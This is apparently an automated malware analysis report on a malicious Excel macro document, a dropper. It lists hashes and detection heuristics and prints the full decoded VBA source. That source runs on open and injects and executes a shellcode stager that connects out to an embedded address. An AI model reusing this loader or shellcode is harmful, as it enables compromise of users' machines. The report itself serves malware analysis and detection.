Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e35d691282dfd2da…

MALICIOUS

Office (OLE)

36.0 KB Created: 2017-07-13 05:15:07 Authoring application: Microsoft Excel First seen: 2018-03-04
MD5: 52a77f75c9b7b875e13cc8a8389954b9 SHA-1: 1667f0bb79298638c8360ad1f74f31e42ce8b0d2 SHA-256: e35d691282dfd2da24b2d1f62dd5f68519bb2c6b8fe5fa243239d05734e05cbb
124 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The critical ClamAV detection and the presence of VBA macros, including AutoOpen and Workbook_Open, indicate malicious intent. The VBA script utilizes Windows API functions like VirtualAlloc and CreateThread, strongly suggesting it allocates memory and executes shellcode, likely to download and run a second-stage payload. The specific shellcode is truncated, preventing further analysis of its exact function.

Heuristics 6

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Wdmp As Long, Wzj As Variant, Vit As Long

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3500 bytes
SHA-256: eb25fbbf6cb0be0184d42b4f066a07bf89f411195c7eefc1eaae7447b25a2e52
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Oqbfxpf As Long, ByVal Ubk As Long, ByVal Jcwohhm As LongPtr, Eywxa As Long, ByVal Amb As Long, Xriqj As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Mrmvuu As Long, ByVal Zkxcx As Long, ByVal Kiwydmywn As Long, ByVal Nipwqr As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Ltppnba As LongPtr, ByRef Txztnqp As Any, ByVal Azeissc As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Oqbfxpf As Long, ByVal Ubk As Long, ByVal Jcwohhm As Long, Eywxa As Long, ByVal Amb As Long, Xriqj As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Mrmvuu As Long, ByVal Zkxcx As Long, ByVal Kiwydmywn As Long, ByVal Nipwqr As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Ltppnba As Long, ByRef Txztnqp As Any, ByVal Azeissc As Long) As Long
#End If

Sub Auto_Open()
    Dim Wdmp As Long, Wzj As Variant, Vit As Long
#If VBA7 Then
    Dim Cmfeig As LongPtr, Ankmmy As LongPtr
#Else
    Dim Cmfeig As Long, Ankmmy As Long
#End If
    Wzj = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, _
139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, _
199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, _
139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, _
1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, _
91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, 0, _
0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 255, 213, 184, 144, 1, 0, 0, 41, _
196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, _
15, 223, 224, 255, 213, 151, 106, 5, 104, 10, 10, 75, 99, 104, 2, 0, 30, 198, 137, 230, _
106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 12, 255, 78, 8, 117, 236, _
104, 240, 181, 162, 86, 255, 213, 106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, _
139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, _
83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 1, 195, 41, 198, 117, 238, 195 _
)

    Cmfeig = VirtualAlloc(0, UBound(Wzj), &H1000, &H40)
    For Vit = LBound(Wzj) To UBound(Wzj)
        Wdmp = Wzj(Vit)
        Ankmmy = RtlMoveMemory(Cmfeig + Vit, Wdmp, 1)
    Next Vit
    Ankmmy = CreateThread(0, 0, Cmfeig, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub


Sub Button1_Click()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.